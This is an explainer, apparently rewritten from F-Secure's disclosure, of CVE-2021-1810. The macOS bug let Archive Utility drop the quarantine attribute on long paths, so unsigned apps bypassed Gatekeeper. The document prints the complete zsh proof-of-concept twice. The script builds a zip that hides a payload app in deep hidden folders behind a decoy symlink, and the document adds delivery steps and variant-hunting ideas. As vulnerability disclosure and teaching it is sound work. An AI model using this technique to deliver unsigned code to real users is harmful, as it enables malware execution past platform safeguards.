The Discovery Of Gatekeeper Bypass CVE-2021-1810
Archive Utility failed to apply the com.apple.quarantine extended attribute to files with paths longer than 886 characters, allowing unsigned binaries to run without Gatekeeper checks. An attacker could craft a zip archive that, when extracted, places an unsigned executable outside quarantine, enabling execution of malicious code.
Published on labs.f-secure.com
When extracted by Archive Utility, file paths longer than 886 characters would fail to inherit the com.apple.quarantine extended attribute, making it possible to bypass Gatekeeper for those files. The effect of this was that it was possible to execute unsigned binaries on macOS despite Gatekeeper enforcement of code…
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
macOS is a general-purpose operating system: Apple does not control what software the user runs. The security model that has grown around that freedom rests on code signatures, which are cryptographic proofs of authenticity (the software comes from the author you expect) and integrity (it has not been tampered with between the author's computer and yours, for example by a compromised web server). macOS has supported code signatures for a long time, but only began enforcing them in 2012 with Mac OS X 10.7.5, through the Gatekeeper feature. On Macs the signature typically also covers bundled resources such as icons and images, whether in an app bundle or in an installer package (.pkg).
Gatekeeper initially only required an Apple Developer ID certificate, which any developer can obtain for a $99 yearly fee. Because Apple issues those certificates, it can revoke them from distributors of malicious software. Starting with macOS 10.15 (Catalina), Apple added a second measure, notarization: after signing, the developer uploads the software to Apple for static analysis. Notarization does not care what the software does; it checks that it contains no known malware and follows standard best practices, such as being built with up-to-date tools and having hardened runtime enabled. It also lets Apple revoke a specific version of an app rather than an entire Developer ID certificate.
One piece of the puzzle matters most here: the macOS quarantine feature. A full signature and notarization check is resource-intensive, since it involves generating cryptographic hashes of the code and all bundled resources and an online check with Apple's servers for certificate revocation. Running that on every launch is impractical.
Quarantine solves this by performing the checks only when new software enters the system or is first launched. It predates Gatekeeper and was originally used to warn the user that they were about to launch an app downloaded from the Internet. It relies on an extended attribute, a small piece of metadata any macOS app can set on files. The special attribute com.apple.quarantine means, in effect, "this file comes from an external source and should be treated with suspicion". Safari and other browsers voluntarily set it on downloaded files. Its presence is what signals to macOS that a Gatekeeper check is required when the user double-clicks an app. More importantly, if the attribute is absent, Gatekeeper is not invoked at all.
Setup
Finding vulnerabilities is not the author's day job; he normally works as a software engineer on endpoint protection products. The bug surfaced while he was exploring edge cases in that product related to long path file names. To test how long path names appear in the product's UI, he wrote a script that created very deep directory hierarchies, and eventually produced a zip file with the same content, downloaded from a web server using Safari. No special accounts or roles are involved: the ingredients are macOS (Catalina and Big Sur were affected, Mojave did not appear to be), Safari, Archive Utility, and a web server to host the archive.
Finding it
During the experiments, several parts of macOS started misbehaving once the total path length reached a certain limit. Finder, for instance, refused to show the folders that had been created, which prompted a closer look at how macOS handles this edge case.
In a UNIX-like system there is a limit defined by the PATH_MAX constant, set to 1024 bytes on macOS. The name suggests it is the maximum length of a path name, but the reality is more complex: longer path names are perfectly valid, if cumbersome to work with. Simplified, if a file name is too long, you can open one of its parent directories that is shorter than PATH_MAX with opendir() and open the file through a relative path instead.
The author placed an executable in a very deep directory hierarchy and quickly found that the macOS codesigning machinery refuses to run any executable whose path is longer than PATH_MAX, regardless of whether a com.apple.quarantine attribute exists, and logs a code signing error. Two other details stood out:
- Safari fails to unzip the test files, but Archive Utility, which runs when the file is double-clicked in Finder, unarchives it happily.
- After unpacking with Archive Utility, the files and directories at the deeper end of the hierarchy are missing the
com.apple.quarantineattribute they should have inherited from the zip file during unpacking.
At that point the executable could not be launched because of the path length, so the bug did not look exploitable, even though it was demonstrably possible to force a new executable to be written to disk without the quarantine attribute, meaning Gatekeeper would not perform its checks.
Since an individual folder name can only be up to 255 characters long, the long path was built from a series of directories in a deep hierarchy. Traversing upwards in the tree, the author noticed that several levels up, directories were also missing the quarantine attribute even though their full path names were shorter than PATH_MAX. That suggested a path could be made long enough for Archive Utility to drop the attribute but short enough to allow execution. After further investigation, he was able to run an unsigned executable from Terminal without any Gatekeeper prompts.
With the shorter path names, however, Safari attempted to unpack the file if the "Open 'safe' files for downloading automatically" option was checked, and in doing so preserved the quarantine attribute correctly. With that option deselected, Archive Utility was launched to unpack the archive.
The archive therefore had to satisfy four constraints on path length:
- Long enough to prevent Safari from unpacking the file and to launch Archive Utility instead.
- Long enough for Archive Utility to fail to apply the
com.apple.quarantineattribute. - Short enough for macOS to execute the binary.
- Short enough to be browsable by Finder, because the user would need to actually run the binary.
Criterion 4 could be met with a symbolic link: although the link itself had the quarantine attribute applied, macOS did not check it. To make the archive more appealing to the user, the folder structure could be hidden (prefixed with a full stop) with a symbolic link in the root that was almost indistinguishable from a single app bundle in the archive root.
The issue existed in both Catalina and Big Sur, although the path name appears to be slightly different between the two versions. Mojave does not appear to be affected.
A demo video of the exploit in action:
CVE-2021-1810 demo video pic.twitter.com/9JmJhaJD4W
, Rasmus Sten (@pajp) April 28, 2021
Exploitation
The proof of concept is a zsh script that builds the malicious archive. It assumes an app called FakeApp.app exists in the current directory, packages it into a zip file, and the resulting zip is placed on a web server and downloaded with a browser. Upon unpacking, the payload app can be launched even though it is unsigned and un-notarized.
Step 1: build a deep hierarchy of hidden directories
#!/bin/zsh -e
# This script will create a zip file exploiting CVE-2021-1810 by creating a
# directory hierarchy deep enough for Archive Utility to fail setting
# quarantine attributes on certain files while also making some path names
# long enough to prevent Safari automating unzipping from unpacking the archive.
# Finally, the script will create a symbolic link at the top level, making the
# zip file appear like a normal app bundle zip file.
payload=FakeApp.app
createddir=""
pathlen=0
# create a .prefixed directory $len charactes, and increment global path length counter $pathlen
makelongdir() {
len=$1
tdir=.$(perl -e 'print "x"x'${len})
mkdir $tdir
cd $tdir
if [ "$createddir" ] ; then
createddir="$createddir/$tdir"
else
createddir="$tdir"
fi
pathlen=$(($pathlen + $len + 2)) # len+"."+"/"
}
if ! [ -x "$payload" ] ; then
echo "Need a payload (\"$payload\") in pwd to continue!"
exit 1
fi
payloaddir=$(pwd)
targetdir=$(pwd)
startdir=$(mktemp -d)
cd "$startdir"
# Make three directories of max length 255
for i in 1 2 3 ; do
makelongdir 254 # . prefix = length 255
done
The makelongdir function creates a directory whose name is a full stop followed by len copies of the letter x, changes into it, records the relative path in createddir, and adds len + 2 bytes (the dot and the slash) to the global pathlen counter. The script first checks that FakeApp.app exists and is executable, then works in a fresh temporary directory and creates three directories of the maximum length, 254 characters plus the dot prefix, so 255 each.
Step 2: place a signpost file and size the directory that holds the payload
# Signpost for debugging; this should be last actual file to have quarantine attribute
touch dummyfile
# ArchiveService will unzip the file contents into a path with length 153
# characters (including final "/") on Catalina, while on Big Sur
# ArchiveService uses a 138 character temp path.
# Any files or directories whose full path exceeds PATH_MAX will not get any
# com.apple.quarantine extended attribute.
# $pathlen contains amount of bytes in path so far; for the final directory
# we can calculate how many characters we need, taking the payload name into
# account.
payloadnamelength=$(echo -n $payload|wc -c)
echo payload name length: $payloadnamelength path length: $pathlen
remaining=$(( 1024 - 138 - $payloadnamelength - $pathlen))
makelongdir $(($remaining))
# save the path we have so far for the symlink creation later
appdir="$createddir"
cp -r "${payloaddir}/$payload" .
The dummyfile is a debugging signpost: it should be the last real file that still receives the quarantine attribute. The comment records the key measurements: ArchiveService unzips into a path of 153 characters including the final slash on Catalina, and uses a 138 character temporary path on Big Sur. Any file or directory whose full path exceeds PATH_MAX gets no com.apple.quarantine attribute. The script computes the remaining length from 1024 minus 138 minus the payload name length minus the path built so far, creates that directory, saves the relative path as appdir, and copies the payload into it.
Step 3: extend the path so Safari refuses to unzip
# We need a path that will end up having an absolute path name >1000 characters on the target system so that Safari will refuse to unzip the file
# ...but should still be shorter than 1017 characters, for some reason.
remaining=$((1014 - $pathlen))
makelongdir $remaining
This second long directory pushes the absolute path past 1000 characters so Safari declines to unzip the archive, while keeping it below 1017 characters.
Step 4: add the symbolic link and produce the archive
cd "${startdir}"
# Create the symbolic link that will make the app accessible to the user
ln -s ${appdir}/$payload
rm -f ${targetdir}/poc.zip
# Create the final zip file and reveal in Finder
zip -qyr ${targetdir}/poc.zip .
echo "PoC zip containing $payload available at $targetdir"
open -R ${targetdir}/poc.zip
Back at the top of the temporary tree, the script creates a symbolic link pointing at the payload inside the deep hidden hierarchy, so the archive root looks like a normal app bundle. It then zips the whole tree recursively into poc.zip in the original directory and reveals the file in Finder.
Step 5: deliver and run
Host the resulting zip on a web server and download it with a browser. On unpacking, the payload app launches even though it is unsigned and un-notarized. The user reaches it through the symbolic link, which Finder can browse; the link carries the quarantine attribute, but macOS does not check it.
Root cause
Archive Utility fails to propagate the com.apple.quarantine extended attribute to files and directories whose full path exceeds PATH_MAX during extraction. Because Gatekeeper is only invoked when that attribute is present, an executable extracted without it is never validated. The existing defences did not stop the attack: Safari's own unzip path preserved the attribute correctly, and the codesigning machinery did refuse to run binaries whose path exceeded PATH_MAX, but the four length constraints above leave a window in which the attribute is dropped and the binary is still executable. The author's follow-up post covers where the bug was and how it was fixed.
Impact
The effect was that unsigned binaries could be executed on macOS despite Gatekeeper enforcement of code signatures. The author notes this would be of particular interest to targeted attackers who want to execute a custom implant on such systems. Exploitation requires the victim to download the archive with a browser and then run the payload, reached through the symbolic link; the archive is crafted to look like a normal app bundle zip.
Fix
The vulnerability was fixed in macOS Big Sur 11.3 and Security Update 2021-002 Catalina.
Variants to test
- Repeat the length sweep on other macOS versions and on other extraction paths (third-party archivers, command-line unzip tools) to see whether the quarantine attribute is dropped at some path length. A positive result is an extracted executable with no
com.apple.quarantineattribute that still launches without a Gatekeeper prompt. - Vary the archive layout: hidden directories plus a top-level symbolic link, as here, versus other structures that keep the path under Finder's browsable limit. A positive result is an archive that looks like a single app bundle but whose payload sits beyond the attribute-dropping threshold.
- Test the Safari automatic-unzip boundary around the 1000 and 1017 character marks noted in the script, on both Catalina and Big Sur, since the temporary path length differs (153 versus 138 characters). A positive result is Safari declining to unpack while Archive Utility still extracts without quarantine.
- Try the same long-path extraction against installer packages (
.pkg) and other bundle types covered by code signatures. A positive result is a signed-resource check being skipped for content extracted beyondPATH_MAX.
What happened, in plain words
On a Mac, Apple tries to stop malicious software from running without the user knowing. One of the main tools for this is called Gatekeeper. Gatekeeper checks that software is signed by a known developer and has been checked by Apple before it is allowed to run.
But Gatekeeper does not check every single file all the time. It only checks files that carry a small hidden label saying "this came from the internet". That label is called the quarantine attribute. When you download something with Safari, Safari sticks this label on the file. When you later double-click the app, macOS sees the label and runs the Gatekeeper checks.
If the label is missing, Gatekeeper does nothing at all. That is the whole trick behind this bug: if an attacker can get a file onto your Mac without the label, the file runs without any checks.
The researcher found that when a zip file is unpacked by a built-in macOS tool called Archive Utility, files whose full path (the long chain of folder names leading to the file) is too long do not get the quarantine label. So those files look as if they came from somewhere safe, and Gatekeeper never checks them. That means an unsigned program, one that Apple has never seen or approved, can run on the Mac.
The bug was fixed in macOS Big Sur 11.3 and in Security Update 2021-002 for Catalina. This article walks through how the researcher found it and how the simple proof of concept works.
Background: what a code signature is and why it matters
macOS is a general-purpose operating system. That means Apple does not decide what software you run; you do. You can install anything you like. The security features around this freedom are there to help you avoid running something dangerous by accident.
One important building block is the code signature. Think of it like a wax seal on a letter. A code signature is a cryptographic proof of two things:
- Authenticity: the software really comes from the author you expect. The seal matches the sender.
- Integrity: nobody changed the software between the author's computer and yours. The wax is unbroken. For example, if a web server that hosts the app is compromised, an attacker could swap the app for a malicious one; a valid signature would no longer match.
macOS has supported code signatures for a long time, but it only started enforcing them in 2012, with Mac OS X 10.7.5, through the Gatekeeper feature. On a Mac, the signature usually also covers the extra files bundled with an app, such as icons and images, whether they sit inside an app bundle or inside an installer package (a .pkg file).
At first, Gatekeeper only required that an app be signed with an Apple Developer ID certificate. Any developer can get one by paying Apple a $99 yearly fee. Because Apple issues these certificates, it can also revoke them if someone distributes malicious software. That gives Apple some control over who publishes software.
Starting with macOS 10.15 (Catalina), Apple added a second measure called notarization. After signing their software, a developer uploads it to Apple, which runs automated checks on it. Notarization does not care what the software does. It checks that the software contains no known malware and follows standard best practices, such as being built with up-to-date tools and having a security feature called hardened runtime switched on. Notarization also lets Apple revoke one specific version of an app instead of revoking the developer's whole certificate, which would invalidate everything that developer ever published.
Together, signatures and notarization form a fairly complete defence against malicious software. But there is one more piece that matters most for this story: the macOS quarantine feature.
Checking a code signature is expensive. The system has to generate cryptographic hashes of the code and of every bundled resource, and it has to go online to Apple's servers to check whether the certificate has been revoked. Doing all of that every time an app launches would be impractical.
Quarantine solves this by doing the checks only when new software arrives on the system, or the first time it is launched. The feature actually predates Gatekeeper. It was originally used to warn the user that they were about to open an app downloaded from the internet.
Quarantine works through an extended attribute. Extended attributes are small pieces of metadata that any macOS app can attach to a file, like a sticky note on a folder. macOS defines a special one called com.apple.quarantine. In plain terms it means: "this file came from an external source and should be treated with suspicion".
Safari and other web browsers voluntarily put this attribute on every file you download. When you double-click an app, macOS looks for the attribute. If it is there, Gatekeeper is called in to validate the app. More importantly, if the attribute is not there, Gatekeeper is not called at all.
The discovery
Finding vulnerabilities is not the researcher's day job. He normally works as a software engineer on endpoint protection products, which are programs that watch a computer for malicious activity. The bug turned up while he was exploring edge cases in that product related to very long file names.
To test how long path names appear in the product's user interface, he wrote a script that created very deep folder hierarchies. Eventually he made a zip file with the same content and downloaded it from a web server using Safari. No special accounts or permissions were involved. The ingredients were simply macOS (Catalina and Big Sur turned out to be affected, Mojave did not appear to be), Safari, Archive Utility, and a web server to host the archive.
During the experiments, several parts of macOS started misbehaving once the total path length reached a certain limit. Finder, the file browser, refused to show the folders he had created. That made him curious about how macOS itself handles this edge case.
In a UNIX-like system (the family macOS belongs to) there is a limit defined by a constant called PATH_MAX, which is set to 1024 bytes on macOS. The name suggests it is the maximum length of a path name, but the reality is more complicated: longer path names are perfectly valid, just awkward to work with. In simple terms, if a file name is too long, you can open one of its parent folders, which is shorter than PATH_MAX, with a function called opendir(), and then open the file through a relative path instead.
The researcher placed an executable (a program file) inside a very deep folder hierarchy. He quickly found that the macOS code-signing machinery refuses to run any executable whose path is longer than PATH_MAX, whether or not a com.apple.quarantine attribute exists, and it logs a code signing error. But two other details stood out:
- Safari fails to unzip the test files, but Archive Utility, which runs when you double-click the file in Finder, unarchives it happily.
- After unpacking with Archive Utility, the files and folders at the deeper end of the hierarchy are missing the
com.apple.quarantineattribute that they should have inherited from the zip file during unpacking.
At that point the executable could not be launched because of the path length, so the bug did not look exploitable. Even so, it was clearly possible to force a new executable to be written to disk without the quarantine attribute, which meant Gatekeeper would not perform its checks.
Since a single folder name can only be up to 255 characters long, the long path was built from a series of folders in a deep hierarchy. As the researcher walked upwards through the tree, he noticed that several levels up, folders were also missing the quarantine attribute, even though their full paths were shorter than PATH_MAX. That suggested a path could be made long enough for Archive Utility to drop the attribute, but short enough for the program to still run. After further investigation, he was able to run an unsigned executable from Terminal without any Gatekeeper prompts.
With the shorter path names, however, Safari tried to unpack the file itself if the "Open 'safe' files for downloading automatically" option was checked, and when it did so it preserved the quarantine attribute correctly. With that option deselected, Archive Utility was launched to unpack the archive instead.
So the archive had to satisfy four constraints on path length:
- Long enough to stop Safari from unpacking the file, so that Archive Utility is launched instead.
- Long enough for Archive Utility to fail to apply the
com.apple.quarantineattribute. - Short enough for macOS to execute the binary.
- Short enough for Finder to browse, because the user would need to actually run the binary.
Criterion 4 could be met with a symbolic link, which is a kind of shortcut that points to another file or folder. Although the link itself had the quarantine attribute applied, macOS did not check it. To make the archive more appealing to the user, the folder structure could be hidden (folder names starting with a full stop are hidden by default) with a symbolic link in the root that was almost indistinguishable from a single app bundle in the archive root.
The issue existed in both Catalina and Big Sur, although the path name appears to be slightly different between the two versions. Mojave does not appear to be affected.
A demo video of the exploit in action:
CVE-2021-1810 demo video pic.twitter.com/9JmJhaJD4W
, Rasmus Sten (@pajp) April 28, 2021
The proof of concept
The proof of concept is a script written for zsh, a shell (command interpreter). It builds the malicious archive. It assumes an app called FakeApp.app exists in the current folder. It packages that app into a zip file. The resulting zip is then placed on a web server and downloaded with a browser. When the user unpacks it, the payload app can be launched even though it is unsigned and not notarized.
Step 1: build a deep hierarchy of hidden folders
#!/bin/zsh -e
# This script will create a zip file exploiting CVE-2021-1810 by creating a
# directory hierarchy deep enough for Archive Utility to fail setting
# quarantine attributes on certain files while also making some path names
# long enough to prevent Safari automating unzipping from unpacking the archive.
# Finally, the script will create a symbolic link at the top level, making the
# zip file appear like a normal app bundle zip file.
payload=FakeApp.app
createddir=""
pathlen=0
# create a .prefixed directory $len charactes, and increment global path length counter $pathlen
makelongdir() {
len=$1
tdir=.$(perl -e 'print "x"x'${len})
mkdir $tdir
cd $tdir
if [ "$createddir" ] ; then
createddir="$createddir/$tdir"
else
createddir="$tdir"
fi
pathlen=$(($pathlen + $len + 2)) # len+"."+"/"
}
if ! [ -x "$payload" ] ; then
echo "Need a payload (\"$payload\") in pwd to continue!"
exit 1
fi
payloaddir=$(pwd)
targetdir=$(pwd)
startdir=$(mktemp -d)
cd "$startdir"
# Make three directories of max length 255
for i in 1 2 3 ; do
makelongdir 254 # . prefix = length 255
done
Line by line, in plain words:
#!/bin/zsh -etells the operating system to run the file with zsh, and the-emeans "stop if any command fails".- The comment block explains the goal: a folder hierarchy deep enough that Archive Utility fails to set quarantine attributes, with paths long enough that Safari will not unzip the archive automatically, plus a symbolic link at the top so the zip looks like a normal app bundle.
payload=FakeApp.appstores the name of the app to package in a variable calledpayload.createddir=""andpathlen=0set up two tracking variables: the relative path built so far, and its length in bytes.- The
makelongdirfunction takes a length as its argument. It builds a folder name made of a full stop followed by that manyxcharacters (theperlcommand just prints thexs). It creates the folder withmkdirand moves into it withcd. It appends the new folder tocreateddir, and addslen + 2topathlen(the extra two bytes are the dot and the slash). - The
if ! [ -x "$payload" ]block checks thatFakeApp.appexists and is executable. If not, it prints a message and exits. payloaddir=$(pwd)andtargetdir=$(pwd)remember the folder the script was started from.startdir=$(mktemp -d)creates a fresh temporary folder, andcd "$startdir"moves into it, so the deep tree is built somewhere harmless.- The
forloop callsmakelongdir 254three times. Each folder name is 254xcharacters plus the leading dot, so 255 characters, the maximum allowed for a single folder name.
Why this step: the whole attack depends on making the path very long, and since one folder name cannot exceed 255 characters, the only way to get a long path is to nest many folders inside each other.
Step 2: place a signpost file and size the folder that holds the payload
# Signpost for debugging; this should be last actual file to have quarantine attribute
touch dummyfile
# ArchiveService will unzip the file contents into a path with length 153
# characters (including final "/") on Catalina, while on Big Sur
# ArchiveService uses a 138 character temp path.
# Any files or directories whose full path exceeds PATH_MAX will not get any
# com.apple.quarantine extended attribute.
# $pathlen contains amount of bytes in path so far; for the final directory
# we can calculate how many characters we need, taking the payload name into
# account.
payloadnamelength=$(echo -n $payload|wc -c)
echo payload name length: $payloadnamelength path length: $pathlen
remaining=$(( 1024 - 138 - $payloadnamelength - $pathlen))
makelongdir $(($remaining))
# save the path we have so far for the symlink creation later
appdir="$createddir"
cp -r "${payloaddir}/$payload" .
Line by line:
touch dummyfilecreates an empty file. It is a debugging signpost: it should be the last real file that still receives the quarantine attribute, so the researcher can check where the attribute stops being applied.- The comments record the key measurements. ArchiveService (the background service that does the unzipping) unpacks into a path of 153 characters including the final slash on Catalina, and uses a 138 character temporary path on Big Sur. Any file or folder whose full path exceeds
PATH_MAXgets nocom.apple.quarantineattribute. payloadnamelength=$(echo -n $payload|wc -c)counts how many bytes the app name has.- The
echoline prints those two numbers so the researcher can see them while debugging. remaining=$(( 1024 - 138 - $payloadnamelength - $pathlen))works out how many more characters are needed. It starts from 1024 (thePATH_MAXlimit), subtracts 138 (the temporary path length on Big Sur), subtracts the app name length, and subtracts the path built so far. The result is the size of the next folder.makelongdir $(($remaining))creates that folder and moves into it.appdir="$createddir"saves the relative path so the symbolic link can be created later.cp -r "${payloaddir}/$payload" .copies the app into the current, very deep folder.
Why this step: the payload has to sit at a depth where its full path is just past the point where Archive Utility stops applying the quarantine attribute, but still short enough for macOS to run it.
Step 3: extend the path so Safari refuses to unzip
# We need a path that will end up having an absolute path name >1000 characters on the target system so that Safari will refuse to unzip the file
# ...but should still be shorter than 1017 characters, for some reason.
remaining=$((1014 - $pathlen))
makelongdir $remaining
Line by line:
- The comments explain the goal: the absolute path (the full path from the root of the disk) must end up longer than 1000 characters so Safari declines to unzip the archive, but still shorter than 1017 characters.
remaining=$((1014 - $pathlen))calculates how many more characters are needed to reach that target, based on the path built so far.makelongdir $remainingcreates one more long folder to reach it.
Why this step: if Safari unzips the archive itself, it correctly keeps the quarantine attribute, and the attack fails. The path has to be long enough that Safari gives up and hands the job to Archive Utility, which is the tool with the bug.
Step 4: add the symbolic link and produce the archive
cd "${startdir}"
# Create the symbolic link that will make the app accessible to the user
ln -s ${appdir}/$payload
rm -f ${targetdir}/poc.zip
# Create the final zip file and reveal in Finder
zip -qyr ${targetdir}/poc.zip .
echo "PoC zip containing $payload available at $targetdir"
open -R ${targetdir}/poc.zip
Line by line:
cd "${startdir}"goes back to the top of the temporary tree.ln -s ${appdir}/$payloadcreates a symbolic link at the top level that points down into the deep hidden hierarchy to the app. This is what the user will see and click.rm -f ${targetdir}/poc.zipremoves any old zip file with the same name so the new one is clean.zip -qyr ${targetdir}/poc.zip .zips the whole tree recursively intopoc.zipin the original folder. The-qmeans quiet,-ystores symbolic links as links rather than following them, and-rmeans recursive.- The
echoline prints where the zip was saved. open -R ${targetdir}/poc.zipreveals the file in Finder so the researcher can find it easily.
Why this step: the symbolic link makes the archive look like a normal app bundle zip at the top level, while the actual program hides deep inside the long path. The user sees something ordinary and clicks it.
Step 5: deliver and run
Host the resulting zip on a web server and download it with a browser. When the user unpacks it, the payload app launches even though it is unsigned and not notarized. The user reaches it through the symbolic link, which Finder can browse. The link carries the quarantine attribute, but macOS does not check it.
Root cause
Archive Utility fails to pass the com.apple.quarantine extended attribute on to files and folders whose full path exceeds PATH_MAX during extraction. Because Gatekeeper is only invoked when that attribute is present, an executable extracted without it is never validated.
The existing defences did not stop the attack. Safari's own unzip path preserved the attribute correctly, and the code-signing machinery did refuse to run binaries whose path exceeded PATH_MAX. But the four length constraints leave a window in which the attribute is dropped and the binary is still executable. The researcher's follow-up post covers where the bug was and how it was fixed.
Impact
The effect was that unsigned binaries could be executed on macOS despite Gatekeeper enforcing code signatures. The researcher notes this would be of particular interest to targeted attackers who want to run a custom implant on such systems. Exploitation requires the victim to download the archive with a browser and then run the payload, reached through the symbolic link. The archive is crafted to look like a normal app bundle zip.
Fix
The vulnerability was fixed in macOS Big Sur 11.3 and Security Update 2021-002 Catalina.
Variants to test
- Repeat the length sweep on other macOS versions and on other extraction paths (third-party archivers, command-line unzip tools) to see whether the quarantine attribute is dropped at some path length. A positive result is an extracted executable with no
com.apple.quarantineattribute that still launches without a Gatekeeper prompt. - Vary the archive layout: hidden folders plus a top-level symbolic link, as here, versus other structures that keep the path under Finder's browsable limit. A positive result is an archive that looks like a single app bundle but whose payload sits beyond the attribute-dropping threshold.
- Test the Safari automatic-unzip boundary around the 1000 and 1017 character marks noted in the script, on both Catalina and Big Sur, since the temporary path length differs (153 versus 138 characters). A positive result is Safari declining to unpack while Archive Utility still extracts without quarantine.
- Try the same long-path extraction against installer packages (
.pkg) and other bundle types covered by code signatures. A positive result is a signed-resource check being skipped for content extracted beyondPATH_MAX.
Glossary
- Archive Utility: the built-in macOS tool that unpacks zip files when you double-click them in Finder.
- ArchiveService: a macOS service that unzips file contents into a temporary path.
- Code signature: a cryptographic proof that software comes from the expected author and has not been tampered with.
- Developer ID certificate: a certificate Apple issues to developers, for a yearly fee, so they can sign software distributed outside the App Store.
- Endpoint protection product: software that watches a computer for malicious activity.
- Executable: a file that is a program and can be run.
- Extended attribute: a small piece of metadata attached to a file, like a sticky note.
- Finder: the macOS file browser.
- Gatekeeper: the macOS feature that checks downloaded software before allowing it to run.
- Hardened runtime: a macOS security feature that enforces security controls, making exploitable vulnerabilities less likely.
- Hash: a short fingerprint computed from data, used to detect changes.
- Integrity: the guarantee that data has not been altered in transit.
- Authenticity: the guarantee that data really comes from the claimed source.
- macOS: Apple's operating system for Mac computers.
- Notarization: Apple's automated check of signed software for known malware and standard best practices.
opendir(): a programming function that opens a folder so its contents can be read.PATH_MAX: a constant in UNIX-like systems giving a limit related to path lengths; on macOS it is 1024 bytes.- Payload: the malicious program that the attacker wants to run.
- Proof of concept (PoC): a small demonstration that a vulnerability can actually be exploited.
- Quarantine attribute (
com.apple.quarantine): a hidden label browsers put on files downloaded from the internet, which triggers Gatekeeper checks. - Shell: a program that reads and runs commands typed by the user or stored in a script.
- Symbolic link: a shortcut that points to another file or folder.
- Terminal: the macOS app where you type commands.
- UNIX-like system: an operating system in the family that includes macOS and Linux.
- zsh: the command interpreter that is the default shell on modern macOS.
- zip file: a single file that contains other files and folders in compressed form.